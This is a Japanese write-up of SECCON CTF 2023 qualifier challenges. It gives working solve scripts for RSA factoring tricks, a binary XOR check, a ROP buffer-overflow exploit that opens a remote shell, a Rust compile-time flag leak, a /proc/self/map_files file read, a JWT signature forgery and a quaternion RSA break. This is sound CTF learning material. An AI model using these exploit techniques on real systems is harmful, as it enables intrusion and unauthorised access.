LoginSignup
3

SECCON CTF 2023 Quals Writeup

Last updated at Posted at 2023-09-17

はじめに

hiikunZです。普段は高校生活をしていたり1競技プログラミングをしたりしています。
SECCON CTF 2023 Quals にチーム 「BeginnersSec」で参加して、Welcome 以外の全てを担当しました。
結果は 世界51位・国内14位 でした。
かなり高順位で嬉しかったので Writeup を書きます。

plai_n_rsa (crypto)

問題

I've dropped the "n" ... where is my "n" :(

problem.py
import os

from Crypto.Util.number import bytes_to_long, getPrime

flag = os.getenvb(b"FLAG", b"SECCON{THIS_IS_FAKE}")
assert flag.startswith(b"SECCON{")
m = bytes_to_long(flag)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
hint = p+q
c = pow(m,e,n)

print(f"e={e}")
print(f"d={d}")
print(f"hint={hint}")
print(f"c={c}")
output.txt
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813

解法

$ed \equiv 1 \bmod (p-1)(q-1)$ を利用します。
このときある自然数 $x$ について $ed - 1 = x(p-1)(q-1)$ …☆ が成立します。
ここで、$(p-1)(q-1) = pq - (p+q) + 1$ を式変形すると、
$\frac{ed - 1}{x} = pq - \text{hint} + 1$ ($\because$ ☆$, \text{hint}=p+q$)
$pq = \frac{ed - 1}{x} + \text{hint} - 1$ となり、$pq$ が求められ、あとは秘密鍵がわかっているので普通のRSA暗号です。
$x$ は $ed - 1$ の約数のうちかなり小さいものなので、全探索することができます。

solve.py
from Crypto.Util.number import *
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
for x in range(1,200000):
    if (e*d-1) % x != 0:
        continue
    n = (e*d-1)//x + hint - 1
    m = pow(c,d,n)
    flag = long_to_bytes(m)
    if flag.startswith(b"SECCON{"):
        print(flag)
        break

flag

SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}

jumpout (reversing)

問題

Sequential execution
コンパイルされたファイルが渡さるので、reversing してくださいという問題です。

解法

Ghidra でデコンパイルすると、xor 暗号っぽい関数が見つかりました。
wr1.png
param_1 : 入力
param_2 : index

だと予想して解くと、うまくいきません。
よく見ると、.data セクションに DAT_00104010 以外に DAT_00104030 というデータがありました。
エスパーしてこれも xor したら flag が得られてしまいました。

solve.py
DAT_00104010 = b'\xf6\xf5\x31\xc8\x81\x15\x14\x68\xf6\x35\xe5\x3e\x82\x09\xca\xf1\x8a\xa9\xdf\xdf\x33\x2a\x6d\x81\xf5\xa6\x85\xdf\x17'
DAT_00104030 = b'\xf0\xe4\x25\xdd\x9f\x0b\x3c\x50\xde\x04\xca\x3f\xaf\x30\xf3\xc7\xaa\xb2\xfd\xef\x17\x18\x57\xb4\xd0\x8f\xb8\xf4\x23'
flag = ""

for i in range(len(DAT_00104010)):
     flag += chr(i ^ 0x55 ^ DAT_00104010[i] ^ DAT_00104030[i])
print(flag)

flag

SECCON{jump_table_everywhere}

rop-2.35 (pwnable)

問題

The number of ROP gadgets is declining worldwide.

main.c
#include <stdio.h>
#include <stdlib.h>

void main() {
  char buf[0x10];
  system("echo Enter something:");
  gets(buf);
}
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

解答

自明な Buffer overflow 脆弱性がり、No PIE かつ canary がないので、簡単に ROP ができます。
system 関数は main 内にあるので、GOT Table にアクセスすればいい… と思いましたが、 rdi をうまく制御できません。

main.dmp
0x401156 <+0>:	endbr64
0x40115a <+4>:	push   rbp
0x40115b <+5>:	mov    rbp,rsp
0x40115e <+8>:	sub    rsp,0x10
0x401162 <+12>:	lea    rax,[rip+0xe9b]        # 0x402004
0x401169 <+19>:	mov    rdi,rax
0x40116c <+22>:	call   0x401050 <system@plt>
0x401171 <+27>:	lea    rax,[rbp-0x10]
0x401175 <+31>:	mov    rdi,rax
0x401178 <+34>:	mov    eax,0x0
0x40117d <+39>:	call   0x401060 <gets@plt>
0x401182 <+44>:	nop
0x401183 <+45>:	leave
0x401184 <+46>:	ret

ここで、main 内の 0x401169 に飛ばせば、rdi の値を rax の値で置き換えられることを思いつきます。
都合のいいことに、main から ret するときに rax は入力した場所のアドレスです。 (gets の戻り値なので)
これでうまくいくかと思いきや、うまくいきません。dbg で確認すると、入力した場所の内容が system 内で書き換わってしまっています。(rsp よりも上にあるので、system 内のローカル変数として利用されてしまう)

rsp を書き換えられるような ROP gadget がないか探すと、ありました。

0x401016: add rsp, 0x08 ; ret ;

これを使えば、rsp を動かし、入力した場所が書き換えられないようにできます。
(2 回呼び出せば、いい感じに動いてくれました)

solve.py
from pwn import *
import sys

FILENAME = "./chall"
host = "rop-2-35.seccon.games"
port = 9999

context(os='linux', arch='x86_64')
context.log_level = 'info'

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
            set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        c = remote(host,port)
    else:
        print("Invalid option")
        sys.exit(0)
else:
    c = process(FILENAME)
    
c.recvuntil(b":")
payload = b"/bin/sh\x00" # buf
payload += p64(0x0) # buf
payload += p64(0x1) # saved rbp
payload += p64(0x401016) # add rsp, 0x08 ; ret ;
payload += p64(0xdeadbeef) # rsp がズレたのでここは読まれない
payload += p64(0x401016) # add rsp, 0x08 ; ret ;
payload += p64(0xdeadbeef) # rsp がズレたのでここは読まれない
payload += p64(0x401169) # <main+19>
c.sendline(payload)
c.interactive()

flag

SECCON{i_miss_you_libc_csu_init_:cry:}

crabox (sandbox)

問題

🦀 Compile-Time Sandbox Escape 🦀

app.py
import sys
import re
import os
import subprocess
import tempfile

FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")

TEMPLATE = """
fn main() {
    {{YOUR_PROGRAM}}

    /* Steal me: {{FLAG}} */
}
""".strip()

print("""
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
""".strip(), flush=True)

program = ""
while True:
    line = sys.stdin.readline()
    if line.startswith("__EOF__"):
        break
    program += line
if len(program) > 512:
    print("Your program is too long. Bye👋".strip())
    exit(1)

source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)

with tempfile.NamedTemporaryFile(suffix=".rs") as file:
    file.write(source.encode())
    file.flush()

    try:
        proc = subprocess.run(
            ["rustc", file.name],
            cwd="/tmp",
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=2,
        )
        print(":)" if proc.returncode == 0 else ":(")
    except subprocess.TimeoutExpired:
        print("timeout")

解法

rust のコンパイルをしてくれて、コンパイルに成功したかどうかを教えてくれるようです。
ソースコード内のコメントにフラグがあるので、読み出せればクリアのようです。

とりあえず「rust マクロ」とかで検索してこの記事 を見つけました。

試行錯誤を重ねた結果2include_bytes!file! を使うことで、

fn main() {
    }const d:u8=1/(include_bytes!(file!())[x]&(1<<i));fn hoge(){

    /* Steal me: SECCON{dummy} */
}

のようにすることで、ゼロ除算が発生したかどうかでソースコードの x 文字目の i bit 目を知ることができるとわかりました。
あとは自動化すると、フラグが得られました。

solve.py
from pwn import *

host = "crabox.seccon.games"
port = 1337

flag = "SECCON{"
for x in range(98 + len(flag),150):
    r = 0
    for i in range(0,8):
        c = remote(host,port)
        c.recvuntil(b"with __EOF__):")
        p = "}const d:u8=1/(include_bytes!(file!())[" + str(x) + "]&(1<<" + str(i) + "));fn hoge(){"
        c.sendline(p)
        c.sendline(b"__EOF__")
        c.recvuntil(b":")
        res = chr(c.recvline()[0])
        if res == ')':
            r |= (1 << i)
        c.close()
    flag += chr(r)
    print(flag)
    if flag[-1] == '}':
        break

flag

SECCON{ctfe_i5_p0w3rful}

readme 2023 (misc)

問題

Can you read the flag?

server.py
import mmap
import os
import signal

signal.alarm(60)

try:
    f = open("./flag.txt", "r")
    mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)
except FileNotFoundError:
    print("[-] Flag does not exist")
    exit(1)

while True:
    path = input("path: ")

    if 'flag.txt' in path:
        print("[-] Path not allowed")
        exit(1)
    elif 'fd' in path:
        print("[-] No more fd trick ;)")
        exit(1)

    with open(os.path.realpath(path), "rb") as f:
        print(f.read(0x100))

解法

とりあえず server.py を改造して、/proc/self に便利なものがないか探すと、

/proc/self/map_files/558c0a022000-558c0a023000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a023000-558c0a024000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a024000-558c0a025000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a025000-558c0a026000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a026000-558c0a027000 /usr/local/bin/python3.11
/proc/self/map_files/7f9ee08ed000-7f9ee08ef000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08ef000-7f9ee08f1000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f1000-7f9ee08f3000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f3000-7f9ee08f4000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f4000-7f9ee08f5000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee0b5b000-7f9ee0b62000 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/proc/self/map_files/7f9ee0b62000-7f9ee0bb9000 /usr/lib/locale/C.utf8/LC_CTYPE
/proc/self/map_files/7f9ee0bbb000-7f9ee0bcb000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0bcb000-7f9ee0c3e000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c3e000-7f9ee0c98000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c98000-7f9ee0c99000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c99000-7f9ee0c9a000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c9a000-7f9ee0cc0000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0cc0000-7f9ee0e15000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e15000-7f9ee0e68000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e68000-7f9ee0e6c000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e6c000-7f9ee0e6e000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 /home/ctf/flag.txt
/proc/self/map_files/7f9ee0e7d000-7f9ee0f6b000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee0f6b000-7f9ee111f000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee111f000-7f9ee1202000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1202000-7f9ee1231000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1231000-7f9ee1362000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee13a7000-7f9ee13a8000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13a8000-7f9ee13cd000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13cd000-7f9ee13d7000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d7000-7f9ee13d9000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d9000-7f9ee13db000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000flag.txt に繋がっていました。
ただ、このファイル名は固定値ではないようなので、このファイル名を推測する必要があります。
google で調べると、/proc/self/maps に書いてあるとわかりましたが、このサーバーはファイルの先頭 0x100 バイトしか教えてくれないので、うまくいきません。

さらに /proc/self 内をいろいろ漁ると、/proc/self/syscall にそれっぽいアドレスがありました。

0 0x3 0x558c0ab365d0 0x400 0x2 0x0 0x0 0x7fff0df05dc8 0x7f9ee0d9207d

最後のアドレスが、/usr/lib/x86_64-linux-gnu/libc.so.6 内のどこかを指していて、これと flag.txt がある場所のオフセットは常に一定だったので、あとはいい感じにやると flag.txt が読めました。

(実機でやってうまくいかず悩んでいましたが、docker の中でやるとうまくいきました。)

solve.py
from pwn import *

host = "readme-2023.seccon.games"
port = 2023

flag = "SECCON{"

c = remote(host,port)
c.recvuntil(b"path: ")
c.sendline(b"/proc/self/syscall")

flagaddr = int(c.recvline().split()[-1][2:-3],16) - 0x7f9ee0d9207d + 0x7f9ee0e7c000
p = "/proc/self/map_files/" + hex(flagaddr)[2:] + "-" + hex(flagaddr + 0x1000)[2:]

c.recvuntil(b"path: ")
c.sendline(p.encode())

c.interactive()

flag

SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}

Bad JWT (web)

問題

I think this JWT implementation is not bad.

jwt.js
const crypto = require('crypto');

const base64UrlEncode = (str) => {
	return Buffer.from(str)
		.toString('base64')
		.replace(/=*$/g, '')
		.replace(/\+/g, '-')
		.replace(/\//g, '_');
}

const base64UrlDecode = (str) => {
	return Buffer.from(str, 'base64').toString();
}

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
	return base64UrlEncode(JSON.stringify(obj));
}

const parsePart = (str) => {
	return JSON.parse(base64UrlDecode(str));
}

const createSignature = (header, payload, secret) => {
	const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
	const signature = algorithms[header.alg.toLowerCase()](data, secret);
	return signature;
}

const parseToken = (token) => {
	const parts = token.split('.');
	if (parts.length !== 3) throw Error('Invalid JWT format');
	
	const [ header, payload, signature ] = parts;
	const parsedHeader = parsePart(header);
	const parsedPayload = parsePart(payload);
	
	return { header: parsedHeader, payload: parsedPayload, signature }
}

const sign = (alg, payload, secret) => {
	const header = {
		typ: 'JWT',
		alg: alg
	}
	
	const signature = createSignature(header, payload, secret);
	
	const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
	return token;
}

const verify = (token, secret) => {
	const { header, payload, signature: expected_signature } = parseToken(token);

	const calculated_signature = createSignature(header, payload, secret);
	
	const calculated_buf = Buffer.from(calculated_signature, 'base64');
	const expected_buf = Buffer.from(expected_signature, 'base64');
	if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
		throw Error('Invalid signature');
	}

	return payload;
}

module.exports = { sign, verify }
index.js
const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;

const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const secret = require('crypto').randomBytes(32).toString('hex');

app.use((req, res, next) => {
	try {
		const token = req.cookies.session;
		const payload = jwt.verify(token, secret);
		req.session = payload;
	} catch (e) {
	    console.log(e);
		return res.status(400).send('Authentication failed');
	}
	return next();
})

app.get('/', (req, res) => {
	if (req.session.isAdmin === true) {
		return res.send(FLAG);
	} else {
		return res.status().send('You are not admin!');
	}
});

app.listen(PORT, () => {
	const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
	console.log(`[INFO] Use ${admin_session} as session cookie`);
  console.log(`Challenge server listening on port ${PORT}`);
});

解法

試行錯誤していると、この部分が怪しく見えてきます。

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

そういえば、こういうのには __proto__ があったよな…と思い、 alg__proto__ にしてアクセスしてみると、__proto__ にアクセスできたはいいものの、そこから先に進めません。

ここで、ブラウザの javascript コンソールで試すと、たくさん使えそうなものが出てきました。
wr2.png

しかし、

const signature = algorithms[header.alg.toLowerCase()](data, secret);

というようにアクセスしているので、英大文字が含まれていると使えません。
となると constructor しか使えなさそうです。

これを調べると、嬉しいことに
algorithms["constructor"](data, secret)data を返してくれるとわかるので、
{"typ":"JWT","alg":"constructor"}{"isAdmin":true} から jwt を生成します。

eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ

前から、{"typ":"JWT","alg":"constructor"} (base64)、{"isAdmin":true} (base64)、 前2つを連結したもの です。
この jwt を session cookie に入れてアクセスすると、フラグが得られました。

flag

SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}

RSA 4.0 (crypto)

問題

A new era has come, RSA 4.0!

problem.sage
import os

from Crypto.Util.number import bytes_to_long, getStrongPrime

m = bytes_to_long(os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}"))
e = 0x10001
p = getStrongPrime(1024, e=e)
q = getStrongPrime(1024, e=e)
n = p * q
assert m < n
Q = QuaternionAlgebra(Zmod(n), -1, -1)
i, j, k = Q.gens()
enc = (
    1 * m
    + (3 * m + 1 * p + 337 * q) * i
    + (3 * m + 13 * p + 37 * q) * j
    + (7 * m + 133 * p + 7 * q) * k
) ** e
print(f"{n = }")
print(f"{e = }")
print(f"{enc = }")
output.txt
n = 24872021325220256807454685550051664385270234794214413640899222873349265041897698942179745264628886444843936788046461273130347947293134447971213366009115689414264642605438643804813680767747014691971929645215382160557083245742340043385689944268138610186373780437485231877752933652320663858810427971106170059463601595006391073927194512124601928964813763052148657220845548046841237699017168286609835799813635564372682635612722890934578765797156432068449168053296617922489740666171866398517122799604532749283529271598232365042243492016089416298371516093933466381558297769513544950617454777689674801163035308121219081809467
e = 65537
enc = 3859728242860779998500245827824643011031182038976286035325209177561306523157077514772157957170475592309362631020979427907103610597898945426993614901767468098095010971836640454364234772978503167875298045774311291740824611786880849602974611016313651468361669338020331880259928969457255469579663017102640555015734482731890405522757985802082583300838209107911617815694578975817745782743203495107318667111104882994250616348383832987201616468973995462070255337923156614148218730987307161335625736122244817469974403678460213399052200814122255105544573927370423504309249212003649608881714115802854352284801298522985364992841 + 6689400988469336941290409439097720802889756496874465514203924923612416113717282667321908985103298019191113140239387801253466762593814350435047233088038044902433467651291903183405705080977679431528198024945921265445106468212962845547091599919008352051426009980329461007763212773358809391005850095961625042930422795445326743156495371981183105369799111219324695409896763869363969605501957524747716457126557615625815503861788352889135785579006785498195231741997934782780728866125488514068411960643904511224086647859058006472875473225695641287267610159704735294148907843394274092665622496223560673920367014991704447470344*i + 1425535224682533054692632153056888664907065024789232886308473909082337416786879221014972907213731240332278899126018247174859147121923692024420221262194523422785798197856518206508716047860471557004098274123870337912664160290690918788335238938208868363602574049572982498078216870780634694750710402353203621500287688744360281985793220035763469368517282385600578060642616443360598043313771383051760844966304306373372936321033698037647769588864584716070117876256372995523669859957654373351077969273910814003682705611267982200795979916283790161349821926490496096284763527696746485527643315156665082531990553153495043841613*j + 16939641902797542358954398454693773109828645853205801192220966778707379690160425812357360275630857752612391129705744211238057564114356027205464621658979245715243171261351328848491885377078864601014889472906967998503454246639030025900184373900964200415367983329654223213873342814827852864400395905048614694659842857369371845184915252563533413447471945691935551119149323541065035997716667873333295568018189682043599379592763126488255877418142891649422421776838694214872296853180292491137387225104189612300121323951103544193685306688963647668884425837634374966829437978854408218992213680164673972942664618735198830200420*k

解法

よくわからないので、sympy.var を使って、 $e$ が小さい時で実験してみます。
このために四元数の class を実装しました。3

experiment.py
import sympy

sympy.var('m,p,q')

class Quaternion:
    def __init__(self, w,i,j,k):
        self.w = w
        self.i = i
        self.j = j
        self.k = k
    # 出力
    def __str__(self):
        return f"({self.w.factor()}) + \n({self.i.factor()})i + \n({self.j.factor()})j + \n({self.k.factor()})k"
    # 掛け算
    def __mul__(self, other):
        neww = self.w*other.w - self.i*other.i - self.j*other.j - self.k*other.k
        newi = self.w*other.i + self.i*other.w + self.j*other.k - self.k*other.j
        newj = self.w*other.j - self.i*other.k + self.j*other.w + self.k*other.i
        newk = self.w*other.k + self.i*other.j - self.j*other.i + self.k*other.w
        return Quaternion(neww.subs(p*q, 0), newi.subs(p*q, 0), newj.subs(p*q, 0), newk.subs(p*q, 0))
    # 累乗
    def __pow__(self, n):
        if n == 0:
            return Quaternion(1,0,0,0)
        elif n % 2 == 0:
            return (self * self) ** (n//2)
        else:
            return self * (self * self) ** (n//2)

e = 3
quat = Quaternion(1 * m,3 * m + 1 * p + 337 * q,3 * m + 13 * p + 37 * q ,7 * m + 133 * p + 7 * q) ** e
print(quat)
(-m*(200*m**2 + 5838*m*p + 7026*m*q + 53577*p**2 + 10494*p*q + 344961*q**2)) + 
(-(3*m + p + 337*q)*(64*m**2 + 1946*m*p + 2342*m*q + 17859*p**2 + 3498*p*q + 114987*q**2))i + 
(-(3*m + 13*p + 37*q)*(64*m**2 + 1946*m*p + 2342*m*q + 17859*p**2 + 3498*p*q + 114987*q**2))j + 
(-7*(m + 19*p + q)*(64*m**2 + 1946*m*p + 2342*m*q + 17859*p**2 + 3498*p*q + 114987*q**2))k

(以下、$\text{enc} = a + bi + cj + dk$ $(a,b,c,d\in\mathbb{R})$ とします。)
結果を観察すると、
$-(64m^2 + 1946mp + 2342mq + 17859p^2 + 3498pq + 114987q^2) = X$ として、
$b = (3m + p + 337q)\times X$
$c = (3m + 13p + 37q)\times X$
$d = (7m + 133p + 7q)\times X$
と表せそうです。
$e = 65537$ の場合でもこれを満たす $X$ が存在すると考えられます。
このとき、

  • $3x + 3y + 7z = 0$
  • $x + 13y + 133z = 1$
  • $337x + 37y + 7z = 0$

を満たす $x,y,z$ に対して $bx+cy+dz = p \times X$ が成立します。
あとは、$\gcd(p \times X,n) = p$ から $p$ を、$n = pq$ から $q$ を求めることができます。

上の連立方程式の解は $x = \frac{17}{6396}, y = -\frac{167}{6396}, z = \frac{75}{7462}$なので4、次のようなコードで $p,q$ を求めることができます。

calc_p_and_q.py
import math
n = 24872021325220256807454685550051664385270234794214413640899222873349265041897698942179745264628886444843936788046461273130347947293134447971213366009115689414264642605438643804813680767747014691971929645215382160557083245742340043385689944268138610186373780437485231877752933652320663858810427971106170059463601595006391073927194512124601928964813763052148657220845548046841237699017168286609835799813635564372682635612722890934578765797156432068449168053296617922489740666171866398517122799604532749283529271598232365042243492016089416298371516093933466381558297769513544950617454777689674801163035308121219081809467
e = 65537
a = 3859728242860779998500245827824643011031182038976286035325209177561306523157077514772157957170475592309362631020979427907103610597898945426993614901767468098095010971836640454364234772978503167875298045774311291740824611786880849602974611016313651468361669338020331880259928969457255469579663017102640555015734482731890405522757985802082583300838209107911617815694578975817745782743203495107318667111104882994250616348383832987201616468973995462070255337923156614148218730987307161335625736122244817469974403678460213399052200814122255105544573927370423504309249212003649608881714115802854352284801298522985364992841
b = 6689400988469336941290409439097720802889756496874465514203924923612416113717282667321908985103298019191113140239387801253466762593814350435047233088038044902433467651291903183405705080977679431528198024945921265445106468212962845547091599919008352051426009980329461007763212773358809391005850095961625042930422795445326743156495371981183105369799111219324695409896763869363969605501957524747716457126557615625815503861788352889135785579006785498195231741997934782780728866125488514068411960643904511224086647859058006472875473225695641287267610159704735294148907843394274092665622496223560673920367014991704447470344
c =  1425535224682533054692632153056888664907065024789232886308473909082337416786879221014972907213731240332278899126018247174859147121923692024420221262194523422785798197856518206508716047860471557004098274123870337912664160290690918788335238938208868363602574049572982498078216870780634694750710402353203621500287688744360281985793220035763469368517282385600578060642616443360598043313771383051760844966304306373372936321033698037647769588864584716070117876256372995523669859957654373351077969273910814003682705611267982200795979916283790161349821926490496096284763527696746485527643315156665082531990553153495043841613
d = 16939641902797542358954398454693773109828645853205801192220966778707379690160425812357360275630857752612391129705744211238057564114356027205464621658979245715243171261351328848491885377078864601014889472906967998503454246639030025900184373900964200415367983329654223213873342814827852864400395905048614694659842857369371845184915252563533413447471945691935551119149323541065035997716667873333295568018189682043599379592763126488255877418142891649422421776838694214872296853180292491137387225104189612300121323951103544193685306688963647668884425837634374966829437978854408218992213680164673972942664618735198830200420

x = 17*pow(6396,-1,n)
y = -167*pow(6396,-1,n)
z = 75*pow(7462,-1,n)

p = math.gcd(b*x+c*y+d*z,n)
q = n // p
assert(p * q == n)
print("p =",p)
print("q =",q)

$p,q$ がわかったので、$X$ を求めます。

拡張ユーグリットの互除法で $Ap + Bq = 1$ となる A,B を求めた上で、

  • $3x + 3y + 7z = 0$
  • $x + 13y + 133z = A$
  • $337x + 37y + 7z = B$

となるような $x,y,z$ を用いると、同様に $X$ がわかります。

さらに、

  • $3x + 3y + 7z = 1$
  • $x + 13y + 133z = 0$
  • $337x + 37y + 7z = 0$

となるような $x,y,z$ を用いることで、 $m \times X$ もわかります。

あとは $m = \frac{m \times X}{X}$ から、$m$ を求めることができます。

calc_x_and_m.py
from Crypto.Util.number import *
import math
n = 24872021325220256807454685550051664385270234794214413640899222873349265041897698942179745264628886444843936788046461273130347947293134447971213366009115689414264642605438643804813680767747014691971929645215382160557083245742340043385689944268138610186373780437485231877752933652320663858810427971106170059463601595006391073927194512124601928964813763052148657220845548046841237699017168286609835799813635564372682635612722890934578765797156432068449168053296617922489740666171866398517122799604532749283529271598232365042243492016089416298371516093933466381558297769513544950617454777689674801163035308121219081809467
e = 65537
a = 3859728242860779998500245827824643011031182038976286035325209177561306523157077514772157957170475592309362631020979427907103610597898945426993614901767468098095010971836640454364234772978503167875298045774311291740824611786880849602974611016313651468361669338020331880259928969457255469579663017102640555015734482731890405522757985802082583300838209107911617815694578975817745782743203495107318667111104882994250616348383832987201616468973995462070255337923156614148218730987307161335625736122244817469974403678460213399052200814122255105544573927370423504309249212003649608881714115802854352284801298522985364992841
b = 6689400988469336941290409439097720802889756496874465514203924923612416113717282667321908985103298019191113140239387801253466762593814350435047233088038044902433467651291903183405705080977679431528198024945921265445106468212962845547091599919008352051426009980329461007763212773358809391005850095961625042930422795445326743156495371981183105369799111219324695409896763869363969605501957524747716457126557615625815503861788352889135785579006785498195231741997934782780728866125488514068411960643904511224086647859058006472875473225695641287267610159704735294148907843394274092665622496223560673920367014991704447470344
c =  1425535224682533054692632153056888664907065024789232886308473909082337416786879221014972907213731240332278899126018247174859147121923692024420221262194523422785798197856518206508716047860471557004098274123870337912664160290690918788335238938208868363602574049572982498078216870780634694750710402353203621500287688744360281985793220035763469368517282385600578060642616443360598043313771383051760844966304306373372936321033698037647769588864584716070117876256372995523669859957654373351077969273910814003682705611267982200795979916283790161349821926490496096284763527696746485527643315156665082531990553153495043841613
d = 16939641902797542358954398454693773109828645853205801192220966778707379690160425812357360275630857752612391129705744211238057564114356027205464621658979245715243171261351328848491885377078864601014889472906967998503454246639030025900184373900964200415367983329654223213873342814827852864400395905048614694659842857369371845184915252563533413447471945691935551119149323541065035997716667873333295568018189682043599379592763126488255877418142891649422421776838694214872296853180292491137387225104189612300121323951103544193685306688963647668884425837634374966829437978854408218992213680164673972942664618735198830200420

